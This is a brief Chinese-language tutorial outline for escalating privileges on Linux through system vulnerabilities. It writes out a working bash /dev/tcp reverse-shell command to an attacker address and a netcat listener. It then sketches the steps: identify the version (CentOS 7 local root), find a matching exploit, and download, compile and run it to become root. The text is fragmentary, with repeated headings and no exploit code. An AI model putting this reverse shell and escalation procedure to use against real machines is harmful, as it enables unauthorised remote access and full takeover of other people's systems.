Linux下漏洞提權

Linux下的漏洞提權

　　linux下通常都是系統漏洞提權，分爲如下幾個步驟：

　　

提權

　　

　　　　

反彈shell

　　　　　本地：nc -l -p 8000

　　　　　目標機器：/bin/bash -i >& /dev/tcp/10.10.10.10/8000 0>&1

實例

　　　　一、獲得系統版本號

　　　　　　centos 7 local root

 

　　　　　二、找到對應的exp

　　　　　　

反彈shell

　　　　　目標機運行 

　　　　　　本機hacker

 

　　　　　　　

提權　　　　　　下載exp源碼；編譯源碼；執行exp 權限變成root